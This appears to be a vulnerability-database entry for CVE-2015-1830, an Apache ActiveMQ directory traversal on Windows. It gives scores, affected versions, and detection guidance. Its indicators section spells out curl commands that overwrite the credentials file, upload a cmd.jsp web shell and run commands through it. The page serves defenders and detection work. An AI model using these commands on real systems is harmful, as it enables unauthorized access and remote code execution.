cbcvebase.
CVE-2015-1830
published 2015-08-19

CVE-2015-1830: Directory traversal vulnerability in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows allows…

PriorityP261medium5CVSS 2.0
AVNACLAuNCNIPAN
EXPLOIT
EPSS
84.41%
99.7th percentile
Directory traversal vulnerability in the fileserver upload/download functionality for blob messages in Apache ActiveMQ 5.x before 5.11.2 for Windows allows remote attackers to create JSP files in arbitrary directories via unspecified vectors.

Affected

23 ranges
VendorProductVersion rangeFixed in
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
apacheactivemq
debianactivemq

Detection & IOCsextracted from sources · hover to see the quote

urlhttp://TARGET:8161/fileserver/..\conf\jetty-realm.properties
urlhttp://TARGET:8161/fileserver/..\admin\cmd.jsp
urlhttp://TARGET:8161/admin/cmd.jsp?cmd=calc.exe
path/fileserver/..\admin\
path/fileserver/..\conf\jetty-realm.properties
port8161
port61616
filenamecmd.jsp
commandcurl -v -X PUT --data "@jetty-realm.properties" http://TARGET:8161/fileserver/..\conf\jetty-realm.properties
commandcurl -u 'hacker:hacker' -v -X PUT --data "@cmd.jsp" http://TARGET:8161/fileserver/..\admin\cmd.jsp
commandcurl -u 'hacker:hacker' -v -X GET http://TARGET:8161/admin/cmd.jsp?cmd=calc.exe
  • Detect HTTP PUT requests to paths containing the traversal sequence '..\' (backslash) targeting the /fileserver/ endpoint on port 8161, which is the ActiveMQ web console port.
  • Alert on HTTP PUT requests to /fileserver/ that contain '..\ ' (backslash-based directory traversal), as Linux-style '../' traversal is blocked by Jetty but backslash traversal is not.
  • Monitor for JSP file creation in the /admin directory of ActiveMQ's web context, especially files uploaded via HTTP PUT to /fileserver/ traversal paths.
  • Detect HTTP PUT requests to /fileserver/..\conf\jetty-realm.properties, which indicates an attacker attempting to overwrite ActiveMQ credentials for privilege escalation.
  • Flag blob transfer messages specifying an external uploadUrl (jms.blobTransferPolicy.uploadUrl), which can be abused for server-side request forgery even on non-Windows systems.
  • Monitor ActiveMQ web console (port 8161) for authentication using default credentials admin:admin, particularly combined with PUT requests to /fileserver/ paths.
  • ·The directory traversal only works on Windows systems where backslash '\' is a path delimiter; Linux deployments are not vulnerable to the file upload vector (though SSRF via uploadUrl may still apply).
  • ·Overwriting jetty-realm.properties to set attacker credentials requires a server reboot to take effect, which may limit exploitation in some scenarios.
  • ·For Red Hat/JBoss environments, only the standalone version of ActiveMQ shipped with JBoss A-MQ is affected; it is fixed in version 6.2.0.

CVSS provenance

nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:N/I:P/A:N
vendor_debian5.0LOW
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.